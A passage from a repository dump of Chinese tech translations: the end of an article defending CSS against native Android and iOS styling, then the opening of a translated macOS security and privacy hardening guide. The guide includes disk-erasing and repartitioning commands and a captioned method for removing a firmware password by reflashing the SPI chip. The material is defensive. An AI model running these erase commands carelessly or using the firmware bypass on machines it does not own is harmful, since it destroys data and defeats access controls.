 \n                  android:gravity=\"center\"\n                  android:layout_height=\"50dp\">\n        <ImageView android:id=\"@+id/imageView1\"\n                   android:layout_height=\"wrap_content\"\n                   android:layout_width=\"wrap_content\"\n                   android:src=\"@drawable/logo\"\n                   android:paddingRight=\"30dp\"\n                   android:layout_gravity=\"left\"\n                   android:layout_weight=\"0\" />\n        <View android:layout_height=\"wrap_content\"\n              android:id=\"@+id/view1\"\n              android:layout_width=\"wrap_content\"\n              android:layout_weight=\"1\" />\n        <Button android:id=\"@+id/categorybutton\"\n                android:background=\"@drawable/button_bg\"\n                android:layout_height=\"match_parent\"\n                android:layout_weight=\"0\"\n                android:layout_width=\"120dp\"\n                style=\"@style/CategoryButtonStyle\"/>\n    </LinearLayout>\n\n    <fragment android:id=\"@+id/headlines\"\n              android:layout_height=\"fill_parent\"\n              android:name=\"com.example.android.newsreader.HeadlinesFragment\"\n              android:layout_width=\"match_parent\" />\n</LinearLayout>\n```\n\n我们本可以将 CSS 的特性都过一遍，但通过上述几个例子便可得出一个结论：在 Android 中确实可以实现各种样式效果，但其实现方法总是要比在 web 上实现复杂很多。\n\n讨论 Android  XML 的冗余性很简单，但要真地想出一种清晰简洁而且能在大规模应用上运行良好的 UI 组件样式机制却是非常难的。主观上你肯定可以举出和上述 Android 例子一样糟糕的 CSS 的例子，但使用这两种技术工作过后，我会毫不犹豫地选择 CSS。\n\n为保证论述完整性，让我们再来讨论另外一种可以渲染 UI 组件的平台：iOS。\n\n## 为什么说 iOS 应用的样式布局很难？\n\n在软件开发行业，iOS 有点独一无二，因为据我所知，它是惟一一个 UI 开发主要是通过可视化工具来完成的软件平台。那个工具叫做 [Storyboard](https://developer.apple.com/library/content/documentation/General/Conceptual/Devpedia-CocoaApp/Storyboard.html)，使用它并结合 Xcode 来开发 iOS 和 macOS 应用。 \n\n为了你能更好地理解我在说些什么，下图展示了在 iOS 应用中如何为视图添加两个按钮。\n\n![](http://developer.telerik.com/wp-content/uploads/2017/05/buttons.gif)\n\n值得注意的是，开发 iOS 应用并非**一定**要用 Storyboard，但其替代方法需要用 Objective-C 或 Swift 代码开发大部分用户界面，因此苹果官方推荐 iOS 开发使用 storyboards。\n\n> **注意** 关于 Storyboard 适用场景的问题超出了本文的论述范围，如果你对此感兴趣的话，可以参考 [Quora 上关于此话题的讨论](https://www.quora.com/How-many-iOS-developers-dont-use-NIBs-Storyboards-and-Constraints)。\n\n让我们回到本文主旨上来，如何为 iOS 中的 UI 组件赋予样式呢？你可能已经猜到了，在可视化编辑器中配置 UI 控件各自的属性是很容易的一件事情。例如，如果想改变一个按钮的背景颜色，使用屏幕右侧的菜单就可以轻易地实现。\n\n![](http://developer.telerik.com/wp-content/uploads/2017/05/button-background-ios.jpg)\n\n和 Android 很像，为构件配置各种属性是很简单的。但同样和 Android 类似，当需求变得复杂时事情也就更棘手了。例如，在 iOS 应用中如何使多个按钮的看起来完全一样呢？这就不简单了。\n\niOS 有一个 [outlets](https://developer.apple.com/library/content/documentation/General/Conceptual/Devpedia-CocoaApp/Outlet.html) 的概念，本质上是使得 Objective-C 或 Swift 代码可以获取界面组件的引用的机制。可以将 outlets 看作 iOS 中的 `document.getElementById()`。想要为多个 iOS UI 组件赋予样式，需要获取一个显式的 reference 或者 outlet，遍历 storyboard 中的每个控件，并赋予其相应的变化。下面这个例子展示了 Swift 视图控制器是如何改变所有按钮的背景颜色的。\n\n```\nimport UIKit\n\nclass ViewController: UIViewController {\n\n    // 一个按钮 outlets 的集合，使用 Xcode 的 storyboard 编辑器为其填充数据\n    @IBOutlet var buttons: [UIButton]!\n\n    func styleButtons() {\n        for button in self.buttons {\n            // 通过设置视图的 backgroundColot 属性来赋予其红色的背景\n            button.backgroundColor = UIColor.red\n        }\n    }\n\n    // 视图控制器的入口点，iOS 会在视图加载后调用此函数。\n    override func viewDidLoad() {\n        super.viewDidLoad()\n        self.styleButtons()\n    }\n}\n```\n此处的关键点不在于具体细节，因此我不会详细说明每一行 Swift 代码的作用。关键在于为多个控件赋予样式不可避免地会涉及到 Objective-C 或 Swift 代码，而这在 CSS 中只需要定义一个简单的类名即可搞定。\n\n不难想象，更复杂的 iOS 样式需求会涉及更多的代码。例如，创建一个简单的 iOS “主题”涉及到[一大堆 `UIAppearance` APIs](https://www.raywenderlich.com/108766/uiappearance-tutorial)，而处理多种设备类型则需要学习高深的 [auto layout](https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/AutolayoutPG/)。\n\n公平地说，原生开发者也能指出 CSS 中一些诡异的特性，而且在某种程度上他们也没错。毕竟，无论是 Web 还是诸如 iOS 和 Android 这样的原生平台，界面组件的定位、样式、动画以及处理各种设备的兼容性都不是什么简单的事情。任何全面的样式系统都不可避免地作出一些取舍，但是，在各种软件行业都工作后，我觉得 CSS 凭借诸多优势脱颖而出了。\n\n## 为什么说 CSS 更好\n\n### CSS 非常灵活\n\nCSS 允许你将应用的关注点分离，因此样式逻辑和应用主体逻辑之间是完全独立的。[关注点分离原则](https://en.wikipedia.org/wiki/Separation_of_concerns)是过去几十年里 web 开发的基本原则，CSS 的架构特点则是使得这一原则实际可行的主要因素之一。\n\n话虽如此，如果您愿意的话，CSS 的灵活性也允许你忽略关注点分离原则，而通过应用代码来处理所有样式。 诸如 React 这样的框架便采取了这种方法，而不需要对 CSS 语言或架构作任何改动。\n\n在如何为界面控件赋予样式方面，Android 和 iOS 的机制都比较严格，而 web 则有多种选择，你可以选择最满足你实际需求的那一种。\n\n\n### CSS 语言简单，且是出色的编译目标\n\nCSS 是一种相对简单的语言。从上层来看，CSS 不过是定义了一系列键值对的选择器的集合。这种简单性使得很多事情都可能实现。\n\n其中一项就是转译器（transpilers）。因为 CSS 相对简单，像 SASS 和 LESS 这样的转译器便能在 CSS 语言的基础之上进行创新，并实验许多功能强大的新特性。SASS 和 LESS 这样的工具不仅提升了开发效率，而且也影响到了 CSS 标准本身，例如像 CSS 变量这样的特性目前[在大多数主流浏览器中都可以使用了](http://caniuse.com/#feat=css-variables)。\n\nCSS 的简单性带来的不仅仅是转译器。你在 web 上看到的每一个主题构建器（theme builder）或拖拽构建工具（drag & drop building tool）都有可能源自 CSS 的简单性。iOS 和 Android 的世界里甚至根本没有主题构建器这一概念，因为该工具的输出必须是一个完整的 iOS 或 Android 应用，而一个完整应用并不是那么容易开发的。（不存在 iOS/Android 主题构建器，更多的是类似应用模版或应用启动器这样的东西）\n\n还有一点：你知道浏览器的开发者工具有多棒吗？你可以很容易地调试应用的外观和体验，这又是 CSS 简单性的一个体现。iOS 和 Android 都没有类似 web 上的可视化开发者工具。\n\n最后一个例子：[NativeScript 项目](https://docs.nativescript.org/)允许开发者[使用 CSS 的子集控制 iOS 和 Android 控件的样式](https://docs.nativescript.org/ui/styling)，例如使用 `Button { color: blue; }` 控制 `UIButton` 或 `android.widget.Button` 的样式。我们能这样做纯粹是因为 CSS 是一门灵活而且易于解析的语言。\n\n### CSS 能让你做一些很棒的事情\n\n最后，说 CSS 很棒还有一个最重要的原因，那就是开发者使用一些简单的选择器和样式规则便能开发出一系列东西。网络上充斥着“10 个仅用 CSS 实现的精彩案例”这样的帖子证明了这一点，在这里也我要放上几个我最喜欢的例子。 \n\n以下为精彩案例，点击图片可查看源码：\n\n- 案例 1：[![](https://ws3.sinaimg.cn/large/006tNc79gy1fgcfopqewxj30me0fqq3m.jpg)](https://codepen.io/waynedunkley/pen/YPJWaz)\n- 案例 2：[![](https://ws2.sinaimg.cn/large/006tNc79gy1fgcfozwrxbj30pn0jkq4i.jpg)](https://codepen.io/fbrz/pen/whxbF)\n- 案例 3：[![](https://ws3.sinaimg.cn/large/006tNc79gy1fgcfpbf291j31980ozjtb.jpg)](https://codepen.io/r4ms3s/pen/gajVBG)\n\n\n## 结论\n\n那 CSS 就没有坑吗？当然有。盒模型就有点怪异，而 flexbox 又不是那么容易上手，另外诸如 CSS 变量这样的特性要再早几年出来就更好了。\n\n每种样式系统都有其不足之处，但是 CSS 的灵活、简单和功能强大让它经受住了时间的考验，也帮助 web 成为了目前非常强大的开发平台。面对 CSS 的攻讦者，我很乐意捍卫 CSS，而且我也鼓励你这样做。\n\n**标题图片来自 [Valentines by Misha Gardner](https://flic.kr/p/bpWQ7a)**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/macOS-Security-and-Privacy-Guide.md",
    "content": "# MacOS 的安全和隐私指南\n\n> * 原文地址：[macOS Security and Privacy Guide](https://github.com/drduh/macOS-Security-and-Privacy-Guide)\n* 原文作者：[drduh](https://github.com/drduh)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09), [MAYDAY1993](https://github.com/MAYDAY1993), [DeadLion](https://github.com/DeadLion)\n* 校对者：[lovelyCiTY](https://github.com/lovelyCiTY), [sqrthree](https://github.com/sqrthree)\n\n这里汇集了一些想法，它们是有关如何保护保护运行了 macOS 10.12 \"Sierra\" 操作系统（以前是 **OS X**）的现代化苹果 Mac 电脑，也包含了一些提高个人网络隐私的小贴士。\n\n这份指南的目标读者是那些希望采用企业级安全标准的\"高级用户\"，但是也适用于那些想在 Mac 上提高个人隐私和安全性的初级用户们。\n\n一个系统的安全与否完全取决于管理员的能力。没有一个单独的技术、软件，或者任何一个科技能保证计算机完全安全；现代的计算机和操作系统都是非常复杂的，并且需要大量的增量修改才能获得在安全性和隐私性上真正意义的提高。\n\n**免责声明**：若按照以下操作后对您的 Mac 电脑造成损伤，**望您自行负责**。\n\n如果你发现了本文中的错误或者有待改进的内容，请提交 `pull request` 或者 [创建一个 `issue`](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues).\n\n- [基础知识](#基础知识)\n- [固件](#固件)\n- [准备和安装 macOS](#准备和安装-macos)\n    - [虚拟机](#虚拟机)\n- [首次启动](#首次启动)\n- [管理员和普通用户账号](#管理员和普通用户账号)\n- [对整个磁盘进行数据加密](#对整个磁盘进行数据加密)\n- [防火墙](#防火墙)\n    - [应用程序层的防火墙](#应用程序层的防火墙)\n    - [第三方防火墙](#第三方防火墙)\n    - [内核级的数据包过滤](#内核级的数据包过滤)\n- [系统服务](#系统服务)\n- [Spotlight 建议](#spotlight-建议)\n- [Homebrew](#homebrew)\n- [DNS](#dns)\n    - [Hosts 文件](#hosts-文件)\n    - [Dnsmasq](#dnsmasq)\n      - [检测 DNSSEC 验证](#检测-dnssec-验证)\n    - [DNSCrypt](#dnscrypt)\n- [Captive portal](#captive-portal)\n- [证书授权](#证书授权)\n- [OpenSSL](#openssl)\n- [Curl](#curl)\n- [Web](#web)\n    - [代理](#代理)\n    - [浏览器](#浏览器)\n    - [插件](#插件)\n- [PGP/GPG](#pgpgpg)\n- [OTR](#otr)\n- [Tor](#tor)\n- [VPN](#vpn)\n- [病毒和恶意软件](#病毒和恶意软件)\n- [系统完整性保护](#系统完整性保护)\n- [Gatekeeper 和 XProtect](#gatekeeper-和-xprotect)\n- [密码](#密码)\n- [备份](#备份)\n- [Wi-Fi](#wi-fi)\n- [SSH](#ssh)\n- [物理访问](#物理访问)\n- [系统监控](#系统监控)\n    - [OpenBSM 监测](#openbsm-监测)\n    - [DTrace](#dtrace)\n    - [运行](#运行)\n    - [网络](#网络)\n- [二进制白名单](#二进制白名单)\n- [其它](#其它)\n- [相关软件](#相关软件)\n- [其它资源](#其它资源)\n\n## 基础知识\n\n安全标准的最佳实践适用于以下几点:\n\n* 创建一个威胁模型\n    *  考虑下什么是你需要保护的，避免谁的侵害？你的对手会是一个 [TLA](https://theintercept.com/document/2015/03/10/strawhorse-attacking-macos-ios-software-development-kit/) 机构么？（如果是的，你需要考虑替换使用 [OpenBSD](http://www.openbsd.org)），或者是一个在网络上好管闲事的偷听者，还是一起针对你精心策划的 [apt](https://en.wikipedia.org/wiki/Advanced_persistent_threat) 网络攻击？\n    * 研究并识别出[那些威胁](https://www.usenix.org/system/files/1401_08-12_mickens.pdf)，想一想如何减少被攻击的面。\n\n* 保持系统更新\n    * 请为你的系统和软件持续更新补丁！更新补丁！更新补丁！（重要的事情说三遍）。\n    * 可以使用 `App Store` 应用程序来完成对 `macOS` 系统的更新，或者使用命令行工具 `softwareupdate`，这两个都不需要注册苹果账号。\n    * 请为那些你经常使用的程序，订阅公告邮件列表（例如，[Apple 安全公告](https://lists.apple.com/mailman/listinfo/security-announce)）。\n\n* 对敏感数据进行加密\n    * 除了对整个磁盘加密之外，创建一个或者多个加密的容器，用它们来保存一些你的密码、秘钥、那些个人文件和余下的其他数据。\n    * 这有助于减少数据泄露造成的危害。\n\n* 经常备份数据\n    * 定期创建[数据备份](https://www.amazon.com/o/ASIN/0596102461/backupcentral)，并且做好遇到危机时候的数据恢复工作。\n    * 在拷贝数据备份到外部存储介质或者 “云” 系统中之前，始终对它们进行加密。\n    * 定期对备份进行测试，验证它们是可以工作的。例如，访问某一部分文件或者对比哈希校验值。\n\n* 注意钓鱼网站\n    * 最后，具有高安全意识的管理员能大大降低系统的安全风险。\n    * 在安装新软件的时候，请加倍小心。始终选择[免费的软件](https://www.gnu.org/philosophy/free-sw.en.html)和开源的软件（[当然了，macOS 不是开源的](https://superuser.com/questions/19492/is-mac-os-x-open-source))\n\n## 固件\n\n为固件设定一个密码，它能阻止除了你的启动盘之外的任何其它设备启动你的 Mac 电脑。它也能设定成每次启动时为必选项。\n\n[当你的计算机被盗的时候，这个功能是非常有用的](https://www.ftc.gov/news-events/blogs/techftc/2015/08/virtues-strong-enduser-device-controls)，因为唯一能重置固件密码的方式是通过 `Apple Store`，或者使用一个 [SPI 程序](https://reverse.put.as/2016/06/25/apple-efi-firmware-passwords-and-the-scbo-myth/)，例如 [Bus Pirate](http://ho.ax/posts/2012/06/unbricking-a-macbook/) 或者其它刷新电路的程序。\n\n1. 开始时，按下 `Command` 和 `R` 键来启动[恢复模式 / Recovery Mode](https://support.apple.com/en-au/HT201314)。\n\n2. 当出现了恢复模式的界面，从 `Utilities / 工具` 菜单中选择 **Firmware Password Utility / 固件密码实用工具**。\n\n3. 在固件工具窗口中，选择 **Turn On Firmware Password / 打开固件密码**。\n\n4. 输入一个新的密码，之后在 **Verify / 验证** 处再次输入一样的密码。\n\n5. 选择 **Set Password / 设定密码**。\n\n6. 选择 **Quit Firmware Utility / 退出固件工具** 关闭固件密码实用工具。\n\n7. 选择 Apple 菜单，并且选择重新启动或者关闭计算机。\n\n这个固件密码会在下一次启动后激活。为了验证这个密码，在启动过程中按住 `Alt` 键 - 按照提示输入密码。\n\n当启动进操作系统以后。固件密码也能通过 `firmwarepasswd` 工具管理。\n\n<img width=\"750\" alt=\"Using a Dediprog SF600 to dump and flash a 2013 MacBook SPI Flash chip to remove a firmware password, sans Apple\" src=\"https://cloud.githubusercontent.com/assets/12475110/17075918/0f851c0c-50e7-11e6-904d-0b56cf0080c1.png\">\n\n**在没有 Apple 技术支持下，使用 [Dediprog SF600](http://www.dediprog.com/pd/spi-flash-solution/sf600) 来输出并且烧录一个 2013 款的 MacBook SPI 闪存芯片，或者移除一个固件密码**\n\n可参考 [HT204455](https://support.apple.com/en-au/HT204455), [LongSoft/UEFITool](https://github.com/LongSoft/UEFITool) 或者 [chipsec/chipsec](https://github.com/chipsec/chipsec) 了解更多信息。\n\n## 准备和安装 macOS\n\n有很多种方式来安装一个全新的 macOS 副本。\n\n最简单的方式是在启动过程中按住 `Command` 和 `R` 键进入 [Recovery Mode / 恢复模式](https://support.apple.com/en-us/HT201314)。系统镜像文件能够直接从 `Apple` 官网上下载并且使用。然而，这样的方式会以明文形式直接在网络上暴露出你的机器识别码和其它的识别信息。\n\n<img width=\"500\" alt=\"PII is transmitted to Apple in plaintext when using macOS Recovery\" src=\"https://cloud.githubusercontent.com/assets/12475110/20312189/8987c958-ab20-11e6-90fa-7fd7c8c1169e.png\">\n\n**在 macOS 恢复过程中，捕获到未加密的 HTTP 会话包**\n\n另一种方式是，从 [App Store](https://itunes.apple.com/us/app/macos-sierra/id1127487414) 或者其他地方下载 **macOS Sierra** 安装程序，之后创建一个自定义可安装的系统镜像。\n\n这个 macOS Sierra 安装应用程序是经过[代码签名的](https://developer.apple.com/library/mac/documentation/Security/Conceptual/CodeSigningGuide/Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW6)，它可以使用 `code sign` 命令来验证并确保你接收到的是一个正版文件的拷贝。\n\n```\n$ codesign -dvv /Applications/Install\\ macOS\\ Sierra.app\nExecutable=/Applications/Install macOS Sierra.app/Contents/MacOS/InstallAssistant\nIdentifier=com.apple.InstallAssistant.Sierra\nFormat=app bundle with Mach-O thin (x86_64)\nCodeDirectory v=20200 size=297 flags=0x200(kill) hashes=5+5 location=embedded\nSignature size=4167\nAuthority=Apple Mac OS Application Signing\nAuthority=Apple Worldwide Developer Relations Certification Authority\nAuthority=Apple Root CA\nInfo.plist entries=30\nTeamIdentifier=K36BKF7T3D\nSealed Resources version=2 rules=7 files=137\nInternal requirements count=1 size=124\n```\n\nmacOS 安装程序也可以由 `createinstallmedia` 工具制作，它在 `Install macOS Sierra.app/Contents/Resources/` 文件路径中。请参考[为 macOS 制作一个启动安装程序](https://support.apple.com/en-us/HT201372)，或者直接运行这个命令（不需要输入任何参数），看看它是如何工作的。\n\n**注意** Apple 的安装程序[并不能跨版本工作](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/120)。如果你想要创造一个 10.12 的镜像，例如，以下指令也必须要在 10.12 的机器上运行!\n\n为了创建一个 **macOS USB 启动安装程序**，需要挂载一个 USB 驱动器，清空它的内容、进行重新分区，之后使用 `createinstallmedia` 工具:\n\n```\n$ diskutil list\n[Find disk matching correct size, usually \"disk2\"]\n\n$ diskutil unmountDisk /dev/disk2\n\n$ diskutil partitionDisk /dev/disk2 1 JHFS+ Installer 100%\n\n$ cd /Applications/Install\\ macOS\\ Sierra.app\n\n$ sudo ./Contents/Resources/createinstallmedia --volume /Volumes/Installer --applicationpath /Applications/Install\\ macOS\\ Sierra.app --nointeraction\nErasing Disk: 0%... 10%... 20%... 30%... 100%...\nCopying installer files to disk...\nCopy complete.\nMaking disk bootable...\nCopying boot files...\nCopy complete.\nDone.\n```\n\n为了创建一个自定义、可安装的镜像，能用它恢复一台 Mac 电脑，你需要找到 `InstallESD.dmg`，这个文件也包含在 `Install macOS Sierra.app` 中。\n\n通过 `Finder` 找到，并在这个应用程序图标上点击鼠标右键，选择 **Show Package Contents / 显示包内容**，之后从 **Contents / 内容** 进入到 **SharedSupport / 共享支持**，找到 `InstallESD.dmg` 文件。\n\n你能通过 `openssl sha1 InstallESD.dmg` 、`shasum -a 1 InstallESD.dmg` 或者 `shasum -a 256 InstallESD.dmg` 得到的加密过的哈希值[验证](https://support.apple.com/en-us/HT201259)来确保你得到的是同一份正版拷贝（在 Finder 中，你能把文件直接拷贝到终端中，它能提供这个文件的完整路径地址）。\n\n可以参考 [HT204319](https://support.apple.com/en-us/HT204319)，它能确定你最初采购来的计算机使用了哪个版本的 macOS，或者哪个版本适合你的计算机。\n\n可以参考 [InstallESD_Hashes.csv](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/blob/master/InstallESD_Hashes.csv) 这个在我代码仓库中的文件，它是现在和之前该版本文件的哈希值。你也可以使用 Google 搜索这些加密的哈希值，确保这个文件是正版且没有被修改过的。\n\n可以使用 [MagerValp/AutoDMG](https://github.com/MagerValp/AutoDMG) 来创建这个镜像文件，或者手动创建、挂载和安装这个操作系统到一个临时镜像中:\n\n    $ hdiutil attach -mountpoint /tmp/install_esd ./InstallESD.dmg\n\n    $ hdiutil create -size 32g -type SPARSE -fs HFS+J -volname \"macOS\" -uid 0 -gid 80 -mode 1775 /tmp/output.sparseimage\n\n    $ hdiutil attach -mountpoint /tmp/os -owners on /tmp/output.sparseimage\n\n    $ sudo installer -pkg /tmp/install_esd/Packages/OSInstall.mpkg -tgt /tmp/os -verbose\n\n这一步需要花费一些时间，请耐心等待。你能使用 `tail -F /var/log/install.log` 命令在另一个终端的窗口内查看进度。\n\n**（可选项）** 安装额外的软件，例如，[Wireshark](https://www.wireshark.org/download.html):\n\n    $ hdiutil attach Wireshark\\ 2.2.0\\ Intel\\ 64.dmg\n\n    $ sudo installer -pkg /Volumes/Wireshark/Wireshark\\ 2.2.0\\ Intel\\ 64.pkg -tgt /tmp/os\n\n    $ hdiutil unmount /Volumes/Wireshark\n\n遇到安装错误时，请参考 [MagerValp/AutoDMG/wiki/Packages-Suitable-for-Deployment](https://github.com/MagerValp/AutoDMG/wiki/Packages-Suitable-for-Deployment)，使用 [chilcote/outset](https://github.com/chilcote/outset) 来替代解决首次启动时候的包和脚本。\n\n当你完成的时候，分离、转换并且验证这个镜像:\n\n    $ hdiutil detach /tmp/os\n\n    $ hdiutil detach /tmp/install_esd\n\n    $ hdiutil convert -format UDZO /tmp/output.sparseimage -o ~/sierra.dmg\n\n    $ asr imagescan --source ~/sierra.dmg\n\n现在，`sierra.dmg` 已经可以被用在一个或者多个 Mac 电脑上了。它能继续自定义化这个镜像，比如包含预先定义的用户、应用程序、预置参数等。\n\n这个镜像能使用另一个在 [Target Disk Mode / 目标磁盘模式](https://support.apple.com/en-us/HT201462) 下的 Mac 进行安装，或者从 USB 启动安装盘安装。\n\n为了使用 **Target Disk Mode / 目标磁盘模式**，按住 `T` 键的同时启动 Mac 电脑，并且通过 `Firewire` 接口，`Thunderbolt` 接口或者 `USB-C` 线连接另外一台 Mac 电脑。\n\n如果你没有其它 Mac 电脑，通过启动的时候，按住 **Option** 键用 USB 安装盘启动，把 `sierra.dmg` 和其它需要的文件拷贝到里面。\n\n执行 `diskutil list` 来识别连接着的 Mac 磁盘，通常是 `/dev/disk2`\n\n**（可选项）** 一次性[安全清除](https://www.backblaze.com/blog/securely-erase-mac-ssd/)磁盘（如果之前通过 FileVault 加密，该磁盘必须先要解锁，并且装载在 `/dev/disk3s2`）:\n\n    $ sudo diskutil secureErase freespace 1 /dev/disk3s2\n\n把磁盘分区改成 `Journaled HFS+` 格式:\n\n    $ sudo diskutil unmountDisk /dev/disk2\n\n    $ sudo diskutil partitionDisk /dev/disk2 1 JHFS+ macOS 100%\n\n把该镜像还原到新的卷中:\n\n    $ sudo asr restore --source ~/sierra.dmg --target /Volumes/macOS --erase --buffersize 4m\n\n你也能使用 **Disk Utility / 磁盘工具** 应用程序来清除连接着的 Mac 磁盘，之后将 `sierra.dmg` 还原到新创建的分区中。\n\n如果你正确按照这些步骤执行，该目标 Mac 电脑应该安装了新的 macOS Sierra 了。\n\n如果你想传送一些文件，把它们拷贝到一个共享文件夹，例如在挂载磁盘的镜像中， `/Users/Shared`，例如，`cp Xcode_8.0.dmg /Volumes/macOS/Users/Shared`\n\n<img width=\"1280\" alt=\"Finished restore install from USB recovery boot\" src=\"https://cloud.githubusercontent.com/assets/12475110/14804078/f27293c8-0b2d-11e6-8e1f-0fb0ac2f1a4d.png\">\n\n**完成从 USB 启动的还原安装**\n\n这里还没有大功告成！除非你使用 [AutoDMG](https://github.com/MagerValp/AutoDMG) 创建了镜像，或者把 macOS 安装在你 Mac 上的其它分区内，你需要创建一块还原分区（为了使用对整个磁盘加密的功能）。你能使用 [MagerValp/Create-Recovery-Partition-Installer](https://github.com/MagerValp/Create-Recovery-Partition-Installer) 或者按照以下步骤:\n\n请下载 [RecoveryHDUpdate.dmg](https://support.apple.com/downloads/DL1464/en_US/RecoveryHDUpdate.dmg) 这个文件。\n\n```\nRecoveryHDUpdate.dmg\nSHA-256: f6a4f8ac25eaa6163aa33ac46d40f223f40e58ec0b6b9bf6ad96bdbfc771e12c\nSHA-1:   1ac3b7059ae0fcb2877d22375121d4e6920ae5ba\n```\n\n添加并且扩展这个安装程序，之后执行以下命令:\n\n```\n$ hdiutil attach RecoveryHDUpdate.dmg\n\n$ pkgutil --expand /Volumes/Mac\\ OS\\ X\\ Lion\\ Recovery\\ HD\\ Update/RecoveryHDUpdate.pkg /tmp/recovery\n\n$ hdiutil attach /tmp/recovery/RecoveryHDUpdate.pkg/RecoveryHDMeta.dmg\n\n$ /tmp/recovery/RecoveryHDUpdate.pkg/Scripts/Tools/dmtest ensureRecoveryPartition /Volumes/macOS/ /Volumes/Recovery\\ HD\\ Update/BaseSystem.dmg 0 0 /Volumes/Recovery\\ HD\\ Update/BaseSystem.chunklist\n```\n\n必要的时候把 `/Volumes/macOS` 替换成以目标磁盘启动的 Mac 的路径。\n\n这个步骤需要花几分钟才能完成。再次执行 `diskutil list` 来确保 **Recovery HD** 已经存在 `/dev/disk2` 或者相似的路径下。\n\n一旦你完成了这些，执行 `hdituil unmount /Volumes/macOS` 命令弹出磁盘，之后关闭以目标磁盘模式启动的 Mac 电脑。\n\n### 虚拟机\n\n在虚拟机内安装 macOS，可以使用 [VMware Fusion](https://www.vmware.com/products/fusion.html) 工具，按照上文中的说明来创建一个镜像。你**不需要**再下载，也不需要手动创建还原分区。\n\n```\nVMware-Fusion-8.5.2-4635224.dmg\nSHA-256: f6c54b98c9788d1df94d470661eedff3e5d24ca4fb8962fac5eb5dc56de63b77\nSHA-1:   37ec465673ab802a3f62388d119399cb94b05408\n```\n\n选择 **Install OS X from the recovery parition** 这个安装方法。可自定义配置任意的内存和 CPU，之后完成设置。默认情况下，这个虚拟机应该进入 [Recovery Mode / 还原模式](https://support.apple.com/en-us/HT201314)。\n\n在还原模式中，选择一个语言，之后在菜单条中由 Utilities 打开 Terminal。\n\n在虚拟机内，输入 `ifconfig | grep inet` — 你应该能看到一个私有地址，比如 `172.16.34.129`\n\n在 Mac 宿主机内，输入 `ifconfig | grep inet` — 你应该能看到一个私有地址，比如 `172.16.34.1`\n\n通过修改 Mac 宿主机内的文件让可安装镜像对虚拟器起作用，比如，修改 `/etc/apache2/htpd.conf` 并且在该文件最上部增加以下内容：(使用网关分配给 Mac 宿主机的地址和端口号 80):\n\n    Listen 172.16.34.1:80\n\n在 Mac 宿主机上，把镜像链接到 Apache 网络服务器目录:\n\n    $ sudo ln ~/sierra.dmg /Library/WebServer/Documents\n\n在 Mac 宿主机的前台运行 Apache:\n\n    $ sudo httpd -X\n\n在虚拟机上通过本地网络命令 `asr`，安装镜像文件到卷分区内:\n\n```\n-bash-3.2# asr restore --source http://172.16.34.1/sierra.dmg --target /Volumes/Macintosh\\ HD/ --erase --buffersize 4m\n    Validating target...done\n    Validating source...done\n    Erase contents of /dev/disk0s2 (/Volumes/Macintosh HD)? [ny]: y\n    Retrieving scan information...done\n    Validating sizes...done\n    Restoring  ....10....20....30....40....50....60....70....80....90....100\n    Verifying  ....10....20....30....40....50....60....70....80....90....100\n    Remounting target volume...done\n```\n\n完成后，在 `sudo httpd -X` 窗口内通过 `Control` 和 `C` 组合键停止在宿主机 Mac 上运行的  Apache 网络服务器服务，并且通过命令 `sudo rm /Library/WebServer/Documents/sierra.dmg` 删除镜像备份文件。\n\n在虚拟机内，在左上角 Apple 菜单中选择 **Startup Disk**，选择硬件驱动器并重启你的电脑。你可能想在初始化虚拟机启动的时候禁用网络适配器。\n\n例如，在访问某些有风险的网站之前保存虚拟机的快照，并在之后用它还原该虚拟机。或者使用一个虚拟机来安装和使用有潜在问题的软件。\n\n## 首次启动\n\n**注意** 在设置 macOS 之前，请先断开网络连接并且配置一个防火墙。然而，装备有触摸条（`Touch Bar`）的 [2016 最新款 MacBook](https://www.ifixit.com/Device/MacBook_Pro_15%22_Late_2016_Touch_Bar)，它[需要在线激活系统](https://onemoreadmin.wordpress.com/2016/11/27/the-untouchables-apples-new-os-activation-for-touch-bar-macbook-pros/).\n\n在首次启动时，按住 `Command` `Option` `P` `R` 键位组合，它用于[清除 NVRAM](https://support.apple.com/en-us/HT204063)。\n\n当 macOS 首次启动时，你会看到 **Setup Assistant / 设置助手** 的欢迎画面。\n\n请在创建你个人账户的时候，使用一个没有任何提示的[高安全性密码](http://www.explainxkcd.com/wiki/index.php/936:_Password_Strength)。\n\n如果你在设置账户的过程中使用了真实的名字，你得意识到，你的[计算机的名字和局域网的主机名](https://support.apple.com/kb/PH18720)将会因为这个名字而泄露 (例如，**John Applesseed's MacBook**)，所以这个名字会显示在局域网络和一些配置文件中。这两个名字都能在 **System Preferences / 系统配置 > Sharing / 共享** 菜单中或者以下命令来改变:\n\n    $ sudo scutil --set ComputerName your_computer_name\n\n    $ sudo scutil --set LocalHostName your_hostname\n\n## 管理员和普通用户账号\n\n管理员账户始终是第一个账户。管理员账户是管理组中的成员并且有访问 `sudo` 的能力，允许它们修改其它账户，特别是 `root`，赋予它们对系统更高效的控制权。管理员执行的任何程序也有可能获得一样的权限，这就造成了一个安全风险。类似于 `sudo` 这样的工具[都有一些能被利用的弱点](https://bogner.sh/2014/03/another-mac-os-x-sudo-password-bypass/)，例如在默认管理员账户运行的情况下，并行打开的程序或者很多系统的设定都是[处于解锁的状态](http://csrc.nist.gov/publications/drafts/800-179/sp800_179_draft.pdf) [p. 61–62]。[Apple](https://help.apple.com/machelp/mac/10.12/index.html#/mh11389) 提供了一个最佳实践和[其它一些方案](http://csrc.nist.gov/publications/drafts/800-179/sp800_179_draft.pdf) [p. 